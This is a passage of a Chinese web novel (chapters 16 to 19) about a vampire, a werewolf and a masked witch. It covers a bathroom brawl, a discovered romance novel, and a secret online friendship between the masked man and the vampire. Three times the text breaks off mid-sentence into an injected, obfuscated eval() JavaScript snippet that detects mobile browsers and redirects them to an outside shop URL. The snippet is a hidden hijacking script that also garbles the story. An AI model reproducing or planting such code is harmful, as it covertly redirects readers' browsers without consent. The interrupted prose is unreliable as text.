卢卡斯这一支的狼人族都怕水,据说日常清洁多是自己舔毛,不过他们的皮毛似乎有自清洁的效果,哪怕没有水洗过,依然蓬松且有微香。 但是他是不能接受只舔不洗的。 在他房子里的出现的所有生物,都必须干干净净。 然而此时,清洁习惯显然只有舔毛的卢卡斯慢悠悠地扬起下巴,长睫在眼珠投下阴影:“又是愤怒的气味……你气性好大啊,莲。” 卢卡斯看着他,弯起眼睛,缓缓摇头,“但我不洗。” 雅彦额角青筋啪地弹起。 “如果我非要你洗呢?” 他深吸一口气,转动脖颈,一步一步逼近卢卡斯。 卢卡斯喉咙中滚出低低的咆哮声,狼耳警惕地向后压下,琥珀色的眼里闪过一丝凶光。 …… 原叶刚洗完澡,就听见门外叮铃桄榔的吵闹声,隐约还有瓶罐被摔碎的动静。 什么情况? 她快速穿好衣服开门出去,惊愕地瞧见满走廊的水和脚印,客卫的门大敞着,歪掉的门板有气无力地挂在门轴上,吱呀摇晃。 不断有争吵声和磕碰的震动从浴室传来,最先冲击原叶耳膜的是莲清朗却饱含怒气的声音:“我让你用洗发水!” 没等原叶反应过来,卢卡斯略低沉的嗓音紧接着响起,同样充满愤怒:“滚!我就不!” “那你用沐浴露!” “你做梦!” “放手!” “你才放手!” “绝不!” “啊——!” 卢卡斯的惨叫唤醒了懵逼的原叶,她疾步冲过去,被眼前的景象震慑在当场。 明亮宽敞的浴室里,顶喷正不断向下喷洒着热水,水汽蒸腾,下方两个人影正扭打成一团。 莲浑身透湿,面具下半部分赫然沾着一个淡金色的手印,面具轻微歪斜,露出棱角分明的下颌,他一手握着沐浴露瓶子,另一手奋力把卢卡斯往装满水的浴缸里按。 满手满脸都被挤上淡金色沐浴液的卢卡斯紧皱着眉眼拼命挣扎着,块块分明的蜜色腹肌泛着湿漉漉的水光,他挥舞着长臂,一掌按在莲的面具上,用力推他的头。 莲也不甘示弱,捏着沐浴露就往卢卡斯眼睛和嘴巴里挤,大有连瓶子一起塞进他嘴里的气势。卢卡斯双唇紧闭,拼命偏头,一连数拳锤在莲的腰腹。 原叶在门口都听见那拳拳到肉的闷响,莲被锤的弯腰后退,仍眼疾手快地调大水量,浓密的水流兜头浇在卢卡斯脸上,卢卡斯被冲得满脸泡沫,不得不用张嘴呼吸,莲一把抓过牙刷捅进卢卡斯嘴里飞快地刷了两下。 卢卡斯哇地干呕,迅速拔掉嘴里的牙刷,回身一脚当胸踹在莲身上,莲闷哼一声,高大的身体撞向洁面台,牙杯被碰到地上,摔了个粉碎。 “哎!!”眼见莲和卢卡斯越打越激烈,原叶大叫起来,“你们两个疯了吗?!快住手!” 雅彦错愕回头,卢卡斯趁机从浴缸里跳出来,三步并作两步便要往门外跑,雅彦回过神来,劈手抓住卢卡斯的大尾巴,借力一拉一拽,毫不留情地将卢卡斯踩倒在地。 卢卡斯重重趴倒,下巴砸地,痛得闷哼一声。 雅彦一脚踩在卢卡斯背上,一边用力碾压,一边云淡风轻地看向原叶:“你洗好了?冰箱里有血浆,饿了可以去喝。” 绝不能让原叶在这里多掺合,只要原叶在,卢卡斯这狗仗人势的东西就会不遗余力地反咬他。 见原叶像个呆头鹅一样杵在门口,雅彦柔声引导:“就是厨房那台冰箱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345618|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去喝吧。洗完澡需要补充水分,你也渴了吧?” 客卫明亮,走廊同样灯火通明,他清晰地瞧见原叶喉头滚动了下。 面具下,雅彦勾起唇。 他已然发现真正能触动原叶的东西,那既不是什么人情,也不是金钱,而是她对血的执着。 从原叶早年发的动态里不难看出,她有相当长的时间一直处在饥寒交迫的状态,血族的饥饿感又远超其他种族,为了填饱肚子,她甚至不惜去喝污染区那些变异怪物的血。 对血的渴望深深扎根在原叶心里,化身“莲”与她接触期间,他曾在有意无意中三次惹恼原叶,但每一次只要他提到给她血,原叶的注意力便会飞快地转移,然后迅速原谅他。 来,选吧,原叶。 是我提供庇护所给你,是我给予你最爱的鲜美血液,雅彦在心中如喃喃低语。 去喝血吧。 只要她离开,他就能安心料理这只脏狗。 原叶纤长的睫毛飞快颤一下,眼底交替闪过渴求和挣扎,好似脑内天人交战,随后忽然像是意识到什么:“好,谢谢……呃,不是!你们两个怎么又掐起来了?” 卢卡斯仰起脸,红着眼委屈地控诉:“他强迫我洗澡!” 雅彦额角青筋弹动,强行放柔声音:“你身上都是血和泥,不洗干净怎么行呢?” 卢卡斯挣扎:“我自己舔舔就好了,不用洗!” “呃……舔?” 半晌没说话的原叶终于出声,看向卢卡斯的目光逐渐从同情转为迷惑,“卢卡斯,你认真的吗?” 卢卡斯还没意识到问题的严重性:“是啊,我们都是舔毛来清洁的,不用水洗。” 原叶的表情肉眼可见地复杂起来,盯住卢卡斯的眼神渐渐透出嫌弃,雅彦心里一动,呼吸不由急促了些,仿佛台下焦躁地等待公布获奖名单的候选人—— 下一秒,原叶开口,说出他正想听到的心里话:“不是我偏向谁,但是卢卡斯,莲也是为你好呀。不洗澡是会臭的,光拿口水舔怎么能行呢?你在监狱里也没洗过澡吧,这一路也挺折腾的,是该洗洗了。” 在卢卡斯绝望的表情中,原叶平静又担忧地皱起眉:“没事的,洗澡很舒服的,洗完之后身上会很轻松,你相信我们。” “我……”卢卡斯哽住,似乎完全没想到原叶竟然没站在他这一边,嘴巴张了张,最终无力地闭上。 感受着脚下刚才还像大鲤鱼子一样疯狂扭动乱跳的卢卡斯的身体一点点泄劲软下去,雅彦在心里狂笑他活该,面上仍语重心长道:“是啊,卢卡斯,相信我们。” 他将最后两个字咬得清晰有力,卢卡斯的耳朵耷拉下去,不再挣扎,默默举起胳膊,开始自己揉搓头顶的沐浴露。 伴着卢卡斯洗头时沙沙的泡沫声,雅彦看了面露欣慰的原叶一眼,慢慢松开压制住卢卡斯的脚,卢卡斯垂着脑袋从地上爬起来,默默转身向浴缸走进去。 “……原叶,”行至一半,卢卡斯垂下手,半转过腰身,望向原叶。 混着沐浴露的半透明水珠顺着流畅精壮的腰身滑落,卢卡斯琥珀色的眼睛里仿佛盛满化不开的黏稠蜜糖,“你希望我洗的话,我会好好照做。” 经过先前的洗澡斗争,满室蒸腾的热气,卢卡斯湿水的手术裤紧贴在皮肤上,随着转身的动作,沉甸甸的分量显露得明晃直白。 雅彦头皮发炸,一把捂住原叶的眼睛,把她推出浴室,果断拧上反锁。 无视门外原叶声声追问,雅彦咬牙切齿地转过头,对上卢卡斯挑衅的目光—— 这该死的贱狗! 卢卡斯轻蔑地瞥他一眼,慢条斯理地走进浴缸。 门外,完全没意识到刚刚发生了什么的原叶还在敲门:“怎么了?你干嘛推我?” 雅彦胸膛几度起伏,反复深呼吸几次,平静地扬声回道:“没事,我告诉他哪个是护发素,你先去冰箱找点血喝,我马上就出来。” 原叶应了一声,果然没再敲门。 听着她脚步声远去,雅彦长长吐出一口气,恨不得用目光将卢卡斯千刀万剐:“……你怎么敢!我真是小看了你。” 卢卡斯不屑地轻哼:“那又怎样?难道你没有?” 雅彦冷下脸来:“你是在污染她的眼睛。” “……不都让你个老古董挡住了?”卢卡斯似笑非笑地,“连脸都不敢露的胆小鬼。” 雅彦怒极反笑,活动了下肩颈,紧攥着拳,一步一步朝卢卡斯走去。 17. 第 17 章 原叶叼着冰箱里找出来的血包,仰躺在沙发上悠闲地刷手机。 魔女小姐没更新啊。 她手指划动,反复刷新着魔女的个人主页,没确定看到新的动态,遗憾地撅起嘴。 也是,魔女小姐前天才刚发了个心情不好的动态,今天没发新的也正常。 恋恋不舍地把魔女最近两周的动态又仔细阅读一遍后,原叶才放下手机,像坨史莱姆一样滩在沙发上。 凌晨的客厅灯火朦胧,客卫隐约的水声便显得格外清晰,原叶耳朵动了动,隐约听见莲和卢卡斯在说话,但水流声模糊了具体内容。 他们现在关系好像还挺好,原叶靠在沙发上,仰脸盯着高高的天花板放空,嘴里下意识从血袋里又吸了一口。 她刚才突然被莲推出来,本来有点莫名其妙,但是一开冰箱就看见两包新鲜的血,咬开一喝,还正是她最爱的极品美味血,直接连冰箱门都顾不上关,站在冷气前便风卷残云地干掉一包。 美味下肚,不仅怒气全消,甚至还因为太过幸福从心底涌起一阵感激之情。 虽然不知道为什么被推出来了,但莲还挺够意思的,这么好的血说给就给。 原叶琢磨着刚才的事,珍惜地叼着嘴里第二包血,慢慢品味。 莲还没从客卫出来,毕竟现在是在莲家做客之身,为了表示友好和礼貌,她决定等莲出来和他道个晚安再回房。 这一过程比她想象得还要漫长,原叶很快坐不住了,百无聊赖地在别墅里乱走乱逛。 不知不觉中,她走进一间四面环绕书柜的房间,房间铺着厚厚的地毯,正中摆着一张宽大的书桌,上面放着数台显示器,似乎是莲的书房。 书架上,各类书籍和模型摆放整齐,原叶叼着血袋若有所思,走到近前一册一册地看过去,从电气工程原理到计算神经工程、重有色金属冶金生产技术、烹饪技巧和摄影技术大全也在其中,甚至还有艺术史和文学名著,堪称应有尽有。 原叶走马观花地看着,指尖隔着玻璃漫不经心地划过排列整齐书脊,经过角落里的一本书时,她的目光凝固了。 角落里,书架上静静地插着一本书,平装的书脊是娇嫩的粉色,上面印着一串亮金色的可爱艺术字,每一笔撇捺都是小爱心的形状,共同构成花一样的书名。 《心跳天国!与傲娇王子坠入爱河~梦幻の新篇章~》 噗—— 原叶刚喝进嘴里的血全喷了出去。 她手忙脚乱地用血液操纵把喷到玻璃上的血弄干净,小心翼翼地把那本画风迥异的书从书架里抽了出来。 凸板印刷的镭射封面上,头戴王冠的英俊王子脚踩天鹅和彩虹,怀里抱着一名裙摆轻飘飘的脸红少女,两个人身边飘着鲜花、玫瑰和会做表情的小鸟,数不清四角星在背景里闪闪发亮。 原叶剧烈咳嗽起来,稍微平息后,她三两口把血袋吸干,掏出手机对着书封面咔咔拍了两张照片。 好你个莲,装得又拽又酷的一副现充模样,私底下竟然看这种粉嫩的小说! 让我抓到把柄了吧! 原叶露出邪恶的笑容。 虽然本意并不是偷窥莲的秘密,但下次如果莲又惹到她,她将一把亮出这个把柄。 木哈哈哈哈。 原叶邪笑着把书放回原位,悄悄离开书房,不留下一片云彩。 哼着歌从书房出来,原叶脸上挂着小人得志的笑容,趾高气扬地往客厅走。 经过走廊时,客卫的门锁忽然响了一声。 原叶猛地刹车,做贼心虚地靠墙站住,刚调整好身位,正看到客卫门打开,莲走了出来。 哈!装货出现了! 原叶勾起唇角,正想上前打个阴阳怪气的招呼,忽然觉得哪里有些不对。 莲肩膀微垂着,全身濡湿,衣服紧贴着身体,漆黑的发梢滴着水,看起来筋疲力尽,宛如暴雨淋湿的受伤弃猫,垂在身侧的双手小幅度颤着,指关节晕红,仿佛下一秒就要渗出血来。 原叶愣住,原本含在嘴边的嘲笑之词瞬间有些烫舌,下意识咽了下口水。 “原叶,”莲很快发现了她,他转过头唤了她一声,声气微喘,似乎累极了,“卢卡斯已经被我洗干净了,我也要回房洗澡休息,你喝完血记得刷牙。” “……呃,好。”原叶还没见过莲如此疲敝的模样,忍不住问,“你还好吗?” “我没事,”莲摇了摇头,漆黑的发濡湿在颈侧,无端透出几分脆弱与温驯,“卢卡斯没洗过澡,费了点事而已。我先回房了,有什么事给我发消息。” “好,晚安。”原叶抿唇,朝莲摆了摆手。 莲离开没有一阵子,卢卡斯也慢吞吞地从客卫走出来,他鼻青脸肿,狼耳耷拉着,尾巴上的毛还秃了一块,整个人好像被炮轰过。 想起刚才莲的神态和发红的拳头,原叶终于意识到事情不对,错愕地叫住卢卡斯:“卢卡斯,你这……你俩是打架了吗?” 卢卡斯却摇了摇头,看向她的目光如水般清澈:“没有,浴室地滑,不小心摔倒了,莲教我洗澡来着。” 见卢卡斯眼神坦坦荡荡,原叶心知可能另有隐情,只是看刚才的莲和现在卢卡斯的反应,他们似乎都不准备告诉她。 原叶不好多问,只得点点头,将话题错开,随便聊了几句有的没的。 卢卡斯很快与她道了晚安,临进屋前,他忽然转过身来问道:“原叶,你见过莲面具下面长什么样子吗?” 原叶没搞懂他的用意,老实回答:“没有,你刚才看见了?” “没有……我也没见过。”卢卡斯若有所思地眨了眨眼,淤血的唇角微微勾起:“估计很丑吧。” 丑不丑不知道,身材倒是不错。 想起刚刚浑身湿透的莲,原叶竭力控制着嘴角的肌肉,信口胡诌:“不好说,也可能很帅?” 毕竟丑男很少有那种一看就是当了一辈子帅哥的张扬气势。 卢卡斯微微闭上眼,再睁开时,琥珀色的眼睛隐在睫毛阴影下,神情落寞:“嗯,也有可能。我有点累,先去休息了。” “嗯嗯,”原叶从善如流,“晚安。” 和卢卡斯道晚安后,原叶回到莲给她安排的房间,呈大字型躺在床上。 刚才莲温驯脆弱的模样又浮了出来,白皙的颈侧肌肉流畅,血管丰盈,原叶抿了抿唇,越发有些口干舌燥。 初见时,她的鼻尖被迫陷进莲柔软的胸肌里,当时便闻到一阵温暖清冽的血香,所以虽然还没见过莲面具下面的样子,但她能确定莲的血大概率很好喝。 虽然她也不会去喝就是了。 她在床上来回翻身,目光落到床头金属台灯上,忽然想起莲用异能操纵金属时的模样。 那种运筹帷幄的笃定让他看着既冷酷又可靠,如果不是亲眼所见,很难想象那种游刃有余的酷哥会和人在浴室打成一团,还往对方眼睛里挤沐浴露…… 好有趣。 想着想着,原叶的思绪又绕到莲白皙结实的脖颈,在浴室弄得湿漉漉的,柔韧细腻的皮肤下埋着蓬勃的血管,只要轻轻咬上去,牙尖一点点扎进皮肤,鲜甜的血就会迅速沾湿口腔…… 她一骨碌坐起来,猛地给了自己一嘴巴。 原叶啊原叶,你一天天都在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350473|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么! 别老想着吃了,莲是不能吃的! 想点别的! 别的! 对了!魔女小姐! 原叶打开手机,手指熟练地划动,进入魔女的主页。 魔女的动态依旧停留在那个倒着的笑脸,她聚精会神地盯着屏幕几秒,忽然福至心灵。 点开P图软件,把刚刚在莲的书房偷拍到的粉嫩小说封面单独截取出来,抠掉王子的脸,把自己的头像P上去,捏出一个西红柿头的王子。 原叶嘿嘿笑了两声,又如法炮制,把王子怀里穿着轻飘飘裙子的公主的脸P上魔女的头像,全图加上粉色柔光滤镜,并暗搓搓地画了个桃心把两个头像圈起来。 几秒后,一条崭新的动态闪亮出炉: 【狂野吸红士:[图片]我和魔女小姐在梦幻国度(爱心)嘻嘻。#魔女#香香的魔女小姐#世界上最可爱的魔女】 这个社交网站只有异族在用,虽然总用户数不多,但都很活跃。 魔女因为优雅的身姿和压倒性的战斗力而在异族之间很有名气,有相当的粉丝群体,与魔女相关的动态一发出来很快就会收到评论。 她这条动态不仅提到了魔女,还打了很多的tag,加上本身她的账号经常发布和魔女相关的内容,所以一经发出很快便收到评论。 【痴汉警告】 【……脑子被驴踢了吧】 【刷到这个我是真该睡了】 【受不了了,纯骚扰】 【纯路人,这是屎吗?】 【真是个自由的社交平台,谁都能在上面分享生活,包括变态】 原叶照旧无视恶评,只美美欣赏自己刚P好的图。 啊!杰作! 她美滋滋地抱着手机躺下,觉得自己P得实在好,内心回味无穷。 “咚”地一声震响从隔壁传来,原叶吓得又爬起来,竖起耳朵静静听了一会儿。 一片寂静。 隔壁是莲所在的主卧,难道是他从床上摔下来了? 不会吧,多大人了。 将刚才的响动归为错觉,原叶撇撇嘴重新躺回床上,安详地闭上眼睛准备入睡。 刚眯着,握在手里的手机忽然一震,她拿起点开,瞳孔忽地缩小。 【用户“MsM”关注了您。】 咦? 原叶诧异地点进去。 因为早期有好事者专门为了能无限给她发私信辱骂而关注她,所以她移除了所有粉丝,并把权限设置成了需要答对问题才能关注。 三道问题都是她从魔女发的动态里寻找蛛丝马迹加上不懈跟踪后才知道的魔女小秘密,只有魔女的骨灰粉才能答对。 三问的难度依次递增,分别是:魔女最喜欢穿的鞋子品牌和尺码、魔女在万圣节穿的裙子内衬是什么颜色、魔女在阴天时喝的饮品一般会剩下多少毫升。 由于问题难度之大,已经很久没有人成功关注过她了。 现在,一个id叫MsM的用户突破难关,成为了她的粉丝。 原叶记得这个id,MsM曾经多次点赞过她发布的魔女内容动态,还私信她要过两次原图。 给予她魔女相关内容正面评价的人不多,MsM算是很罕见的友好网友。 MsM的头像是只戴着紫色蝴蝶结的卡通乌鸦,主页只有一些转发抽奖和魔女相关的赞评,一股常年潜水但有深度网瘾的气息扑面而来。 她竟然能答对三道问题! 原叶眼睛睁得圆圆的,没忍住主动发过去一条私信: 【狂野吸红士:hi,你为什么关注我啊?】 18. 第 18 章 一墙之隔,雅彦仰面摔在床下,单臂遮住脸,白皙的面皮透着薄红,耳尖红的像熟透的海棠果。 另一条修长的手臂脱力地搭在身侧,指节泛红的手紧攥着手机,屏幕上,西红柿头王子抱着魔女头公主的照片大亮着。 原叶进了他的书房,还发现了他藏起来的小说! 雅彦羞愤交加,万万没想到以前出于好奇看完后塞在书架角落的青春爱情小说会被原叶翻到,甚至还拍照用作了P图素材。 还有她打的那些tag……什么啊……怎么就“香香的魔女小姐”了……他身上有什么味道吗? 雅彦下意识揪起衣领,低头闻了闻沐浴后新换的睡衣。 也没什么味道啊…… 忽然意识到自己在做什么,雅彦顿时像烫了手一样松开衣襟,重重咳了两声,从地上爬起,坐回床上。 不行,不能再拖了,计划必须尽快推进……尽快…… 雅彦切成小号,快速点触屏幕,凝视着弹出的三道离奇问题,陷入沉默。 他闭了闭眼,反复深呼吸几次,最后重重地叹出一口气,依次输入答案。 【您已关注用户“狂野吸红士”!】 看着屏幕上弹出的提示框,雅彦撂下手机,表情复杂。 然而下一秒,手机一震,原叶的私信已经发了过来: 【狂野吸红士:hi,你为什么关注我啊?】 原叶的消息来得比想象中还快,但没关系,到这一步都还在计划之中。 雅彦修长的手指飞快点触屏幕,打下回复。 【MsM:你好,我也是魔女的粉丝,很喜欢你发布的内容。】 屏幕顶端的昵称闪烁着,变为对方正在输入中,很快原叶的回复就弹了出来。 【狂野吸红士:哈哈,很高兴你也喜欢魔女并且关注我,我设置那些问题的时候没想到有人真能答对呢】 雅彦沉默。 是啊,如果他不是魔女本人,还真答不对。 他微微抬起眉毛,用事先设计好的语气回复。 【MsM:哈哈,老师那三个问题设置得好有趣,幸好都答对了~】 【狂野吸红士:哈哈,是啊】 【狂野吸红士:问下啊,你是因为什么原因喜欢魔女?】 雅彦忖度着回答,刚想打字,原叶新的消息就接二连三地冲来了。 【狂野吸红士:哈哈,看我问的,魔女那么完美,谁会不喜欢呢】 【狂野吸红士:我就特喜欢魔女】 【狂野吸红士:不喜欢的魔女才奇怪】 【狂野吸红士:魔女小姐就是完美的化身!真正的天使!】 【狂野吸红士:你也这么觉得吧?】 【狂野吸红士:你有多喜欢魔女?】 【狂野吸红士:肯定特别喜欢吧,不然你也答不对那三个问题,啊哈哈哈】 ……好沉重。 雅彦看着不断弹出的消息,觉得眼睛像被卡车碾了。 那一边,原叶兴奋地捧着手机,等待MsM的回复。 她很少有这种和网友聊天的机会,更不用说对方还是能答对她三道难问的魔女骨灰粉!而且看头像应该是个可爱的小姑娘! 新朋友! 有种要交到新朋友的预感! 原叶两个眼球一转不转地盯着屏幕,精神异常振奋。 几秒钟后,她看到MsM的回复。 【MsM:老师好热情呀,哈哈。我也特别喜欢魔女~但是好像比不过老师这种程度,老师总能拍到魔女的照片,太厉害了,我只能默默给你点赞求图】 这有什么! 原叶大手一挥,敲下回复:【过奖了!下次要什么图跟我说,我发你高清的!】 【MsM:哇~太好啦,谢谢老师!话说老师为什么会这么喜欢魔女呀?可以听听原因吗?】 原叶眨眨眼,唇边不由带起骄傲的笑意。 她和魔女相遇的经历是独一无二的,而且是她生命中为数不多的影响极为深刻的时刻。 构思了下语言,原叶打字道:【其实契机很简单啦,我在命悬一线之际被魔女救了】 果然如此么。 墙壁那边,雅彦若有所思地眯起眼。 他迅速调整语气,打下回复。 【MsM:啊!怎么回事,可以详细说说吗?】 【狂野吸红士:可以是可以,你确定要听吗?】 就她这种旺盛的表达欲望,难道他不问她就不会说吗? 雅彦耐下性子,板着脸打字。 【MsM:嗯嗯,如果老师愿意告诉我就太好啦】 这一次,屏幕顶端对话框显示“对方正在输入中”的时间格外长,过了一会儿,长长的一段话打了过来。 【狂野吸红士:那个时候我已经饿了两个多星期,身体和精神都快到达极限了,在外面觅食的时候,碰到了一个赏金猎人。 他非常强,比我之前见过的任何一个都要强,不仅全身覆盖护甲,甚至还有我没有见过的先进武器。 我知道他很危险,但当时太饿了,饿到昏了头,尽管知道有危险,还是硬着头皮上了。结果你可以想见,没几下我就被他切开钉在了地上。 哈哈,我现在还记得当时那种强烈的不甘心,那个猎人为了阻止我再生,把我的四肢被扔得到处都是,还在我喉咙里插了秘银刀。伤口疼得厉害,全身都好冷,他的手在我腹腔里搅动,真的超恶心,我真想咬死他,但是身体已经动不了了。 现在想想也是我活该,不知死活地去挑战了根本打不赢的对手。那天晚上的月亮很暗,夜空是深紫色的,我躺在地上,余光能看见我的肠子,它们被揪出来凌乱地堆一边,也是黑紫色的,看起来很湿润。我就在想,啊,到此为止了吗,捕猎失败了,心脏也要被掏走了,我要饿着肚子死了。】 雅彦的手指骤然攥紧,喉咙里溢出了声气流,他不自觉屏住呼吸,一瞬不瞬地盯着屏幕,眼白逐渐爬上细红的血丝。 对方正在输入中的提示闪了闪,下一段内容发了过来。 【狂野吸红士:哈哈,后续你可能也猜到了,就在我万念俱灰的时候,魔女小姐出现了。 我根本看不清她的动作,但她只用一击就斩断了那个猎人的脖子,那么厚的、让我无计可施的秘银护甲在魔女小姐的镰刀面前就像豆腐一样柔软……魔女小姐救了我的命。 她不仅杀了那个猎人,还帮我把散落的内脏都放回原位,拔掉了钉在喉咙里的秘银刀……我现在还记得她的手非常温暖,眼睛也像紫水晶一样明亮……她非常担忧地看着我,你想象不到我有多久没见过这样的眼神了,我搞不清楚是因为失血过多还是因为激动,真的全身都颤栗起来了,这就是传说中命运的邂逅吧。总之,从那之后我就迷上魔女了。】 【狂野吸红士:只要想起魔女小姐,我就觉得很幸福,感觉自己真切地活着。魔女小姐真的很完美。】 不,你错了。 我一点都不完美。 雅彦的唇有些干涩,喉咙一阵阵发紧,一时间不知道做出什么反应。 原来她当时是那么想的。 可他那天只是恰巧路过、恰巧察觉到不对、恰巧救下了她。 如果他那天没走那个方向,如果他再晚一些听见声响,如果他没能一击杀了那个猎人,她就已经死了。 死了的话,就再也见不到了吧。 雅彦身体颤动了下,恍惚间,原叶红宝石般的明亮瞳眸和清澈幸福笑容再次浮现眼前。 那天他离开时,她仍躺在血泊之中,眼神却爆发出惊人的生机,宛如熊熊燃烧的野火。 她会扛着相机四处寻找他,她会用小铲子小心翼翼地挖走他踩过的土壤,她会因为捡到他扔掉的饮料盒高兴不已,她会第一时间点赞转发他随手发的动态,她会收集他的一切,会用笨拙奇异的语言表达对他的喜欢。 她一直在注视着他。 ……为什么。 明明他只是恰巧路过,面对那样的惨状,只要有余力的都会搭救吧。 他有什么好? ……好讨厌。 好讨厌。 为什么要这样对他。 为什么要对他做这些事,为什么要干扰他,让他觉得他的存在好像很重要,他的一切都被她关注。 太不讲理了……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354658|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果那天她死了,那么这一切都不会存在。 雅彦浑身发冷,牙齿止不住地战栗,意识不受控地坠入漆黑。 记忆里,躺在血泊中发抖的明明是原叶,可当她睁开眼睛,亮得惊人的目光里却映出他惊恐的脸,她苍白的嘴唇颤动着,倏然之间,她变成了他。 他躺在自己的血泊里,黏腻的血不断从腹腔溢出,浓郁的铁锈腥气一点点没过他的手臂、脖颈、耳侧、脸颊,冰冷地灌进嘴里、淹没喉咙、侵入眼球。 他想抬起手腕,身体却越来越沉,越是想动,越是无力。他缓慢地沉入血沼之中,气管和肺灌满血水,最后一丝氧气从喉咙间溢出,化为串串无力地气泡,在眼皮近前破开。 即将溺毙的瞬间,一道虚弱飘渺的声音如蛛丝一般掠过耳畔。 “谢谢你……” “谢谢你……魔女小姐。” 这是谁的声音? 雅彦恍惚地想。 他向声音的来源伸出手,指尖擦过一缕冰凉,透明的蛛丝轻柔地将他缠缚。 视线中的血水被洁白的茧覆盖,一道模模糊糊的声音拽着他的意识上浮。 “……只要想起魔女小姐,我就觉得很幸福……” “……感觉自己真切地活着……” “魔女小姐真的很完美……” “喜欢……” 雅彦骤然睁开眼。 脸上一片冰凉的湿意,他转动眼球,透过模糊的视线,正看见一滴水珠悄然坠落,砸在他握着手机的指尖,溅射成无数细小冰冷的微粒,顺着指纹的缝隙流下。 他抬手一摸,愕然发现自己不知道什么时候已经满脸泪水。 不对,这不对。 雅彦僵硬地坐在床边,愣怔半晌,忽然扯过纸巾,用力擦拭着脸颊。 他又陷入那种状态中了。 这是第二次了,好像一旦他开始思考原叶的过往,幼年时期的心理阴影就会被触发,不仅动摇他的情绪,还会模糊他的判断。 他明明救了她,却反过来被她跟踪,这太奇怪了。 虽然她没有做出什么过激行为,也没给他发过私信,但跟踪就是跟踪。 他绝对没有同情或者什么,她的经历再凄惨也不行,她只是一个跟踪狂。 一个给他带来困扰的……跟踪狂。 雅彦漆黑的眼珠蒙着一层雾气,他紧攥着纸巾,缓缓打出一行字。 【MsM:原来是这样……我完全能理解,我也是被魔女搭救过之后喜欢上魔女的,我们好有缘呀。谢谢老师对我的信任,我会把今天的事情作为我们的秘密保护好,希望以后也能和老师多交流~】 这样的反应是合适的吧? 使用一样的理由,应该能迅速拉近距离,获得信任。 雅彦薄唇微抿,等待原叶的下一条消息。 屏幕上方的正在输入中不断闪烁,新的消息却迟迟没有出现。 是又要发很长的内容吗? 雅彦静静地握着手机。 半晌,屏幕上刷出一条新的消息。 【狂野吸红士:好呀,我们多交流。】 随即,原叶的头像灰了下去。 下线了? 雅彦有些愣怔地盯着灰掉的西红柿头像,手指蜷缩了下,反复刷新页面,又确认网络连接状态,终于确认原叶真的下线了。 为什么?刚刚不还很兴奋地说了很多话吗? 她不应该继续和他聊天吗? 雅彦睫毛颤动了下,眼神中流露出不解和隐怒。 现在不是说话的正当中吗? 她怎么能就丢下一句话轻飘飘地下线了? 雅彦神情冰冷,从床上豁然站起,一路走进卫生间,将已经握得有些潮湿的手机随手搁在洗手台边,打开冷水,反复搓洗双手和面颊。 激荡的水流声中,隐约传来一丝嗡鸣,手机在洗手台上震动了下。 雅彦立即关掉水龙头,湿着手划开锁屏。 【用户“狂野吸红士”关注了您。】 滴答。 一颗水珠顺着濡湿的发梢晃晃悠悠地坠下,顺着倾斜的屏幕滑落,流下斑斓的光痕。 19. 第 19 章 原叶关掉社交平台,闷闷不乐地放下手机。 什么啊,原来MsM也是被魔女小姐救过吗? 魔女小姐这么善良,到处救人……她的眼光果然没有错…… 魔女小姐真的好天使,她真应该感到高兴,但是…… 原叶将脸埋进柔软的枕头,身体慢慢蜷缩起来。 她本以为自己和魔女的经历是最特别的,没想到魔女除了她还救过别人,虽然也知道魔女这样美好的存在能救她就能搭救别人,但是…… 原叶皱着脸,一把拉高被子盖过头顶,像乌龟钻进壳里一样缩进被窝里。 被子温暖轻盈,散发着淡淡的馨香,本该感到幸福,但此刻心里却闷闷得不舒服,像有一股浊气吊在胸腔不上不下,刚才那种要交到新朋友的欢欣也消失了。 蒙在被子里的原叶按亮手机,屏幕的冷光自下而上照进她的眼睛,刺得眼球酸涩。 她想再问一问MsM被救的细节,看魔女是怎么和MsM认识的细节,转念一想又停了打字的手。 有了同样喜欢魔女还能接受她的言论愿意和她交流的网友本该是件高兴的事,可她却小心眼地觉得心里酸酸的。 如果她没有这么难受,反而能像MsM问她一样轻飘飘地问回去,愉快地交流。但她难以抑制地感到嫉妒,再怎么强装无事,打出的文字都不太对劲。 她不过只是个不敢给魔女发私信、只敢悄悄跟踪然后自己发发动态过嘴瘾的胆小鬼罢了,魔女也从来没有给她点过赞或者发过评论……她又有什么资格去质问MsM呢?而且MsM能到被魔女救命的程度其实也是怪可怜的…… 原叶在被子里越缩越紧,手机被她捂在怀里,像块发热的石头,沉甸甸地硌着肋骨。她保持着这个姿势,静悄悄地睁着眼睛,盯着被窝里的昏暗发呆。 